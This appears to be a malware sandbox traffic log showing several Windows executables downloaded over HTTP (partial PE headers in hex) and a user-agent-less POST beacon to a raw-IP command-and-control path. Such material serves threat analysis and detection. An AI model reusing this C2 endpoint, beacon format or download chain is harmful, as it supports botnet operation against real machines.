Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 15:36:38 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 31 Oct 2024 14:38:48 GMTETag: "8c00-625c6c6c57aed"Accept-Ranges: bytesContent-Length: 35840Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4f 14 23 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 82 00 00 00 08 00 00 00 00 00 00 fe a0 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 a0 00 00 53 00 00 00 00 c0 00 00 c8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 81 00 00 00 20 00 00 00 82 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 c8 04 00 00 00 c0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 a0 00 00 00 00 00 00 48 00 00 00 02 00 05 00 30 53 00 00 78 4d 00 00 01 00 00 00 14 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 01 00 00 0a 2a 1e 02 28 04 00 00 0a 2a a6 73 06 00 00 0a 80 01 00 00 04 73 07 00 00 0a 80 02 00 00 04 73 08 00 00 0a 80 03 00 00 04 73 09 00 00 0a 80 04 00 00 04 2a 00 00 13 30 01 00 0f 00 00 00 01 00 00 11 7e 01 00 00 04 6f 0a 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 02 00 00 11 7e 02 00 00 04 6f 0b 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 03 00 00 11 7e 03 00 00 04 6f 0c 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 04 00 00 11 7e 04 00 00 04 6f 0d 00 00 0a 0a 2b 00 06 2a 00 13 30 02 00 11 00 00 00 05 00 00 11 02 03 28 11 00 00 0a 28 12 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 01 00 0b 00 00 00 06 00 00 11 02 28 13 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0f 00 00 00 07 00 00 11 d0 05 00 00 02 28 14 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 08 00 00 11 02 28 15 00 00 0a 0a 2b 00 06 2a 00 13 30 01 00 18 00 00 00 09 00 00 11 02 8c 01 00 00 1b 2d 0a 28 01 00 00 2b 0a 2b 06 2b 04 02 0a 2b 00 06 2a 13 30 02 00 10 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:36:43 GMTContent-Type: application/octet-streamContent-Length: 3045376Last-Modified: Thu, 31 Oct 2024 15:22:25 GMTConnection: keep-aliveETag: "6723a0b1-2e7800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 40 bd 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 75 62 69 6a 71 73 73 00 c0 2b 00 00 b0 05 00 00 be 2b 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 71 65 71 6d 67 76 7a 00 10 00 00 00 70 31 00 00 04 00 00 00 52 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 56 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:36:51 GMTContent-Type: application/octet-streamContent-Length: 2137088Last-Modified: Thu, 31 Oct 2024 15:22:37 GMTConnection: keep-aliveETag: "6723a0bd-209c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 90 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 72 00 00 04 00 00 8e 80 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 71 6e 72 6b 78 75 73 00 f0 19 00 00 90 58 00 00 ec 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 70 69 7a 67 78 68 63 00 10 00 00 00 80 72 00 00 04 00 00 00 76 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 72 00 00 22 00 00 00 7a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:37:01 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 15:29:14 GMTConnection: keep-aliveETag: "6723a24a-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 42 a2 23 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 9e 67 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:37:06 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:37:08 GMTContent-Type: application/octet-streamContent-Length: 2795520Last-Modified: Thu, 31 Oct 2024 15:29:41 GMTConnection: keep-aliveETag: "6723a265-2aa800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 b5 54 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6d 65 70 6d 63 6e 00 60 2a 00 00 a0 00 00 00 48 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 73 66 6c 7a 67 6a 71 00 20 00 00 00 00 2b 00 00 04 00 00 00 82 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 15:37:08 GMTContent-Type: application/octet-streamContent-Length: 2795520Last-Modified: Thu, 31 Oct 2024 15:29:41 GMTConnection: keep-aliveETag: "6723a265-2aa800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 b5 54 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 69 6d 65 70 6d 63 6e 00 60 2a 00 00 a0 00 00 00 48 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 73 66 6c 7a 67 6a 71 00 20 00 00 00 00 2b 00 00 04 00 00 00 82 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
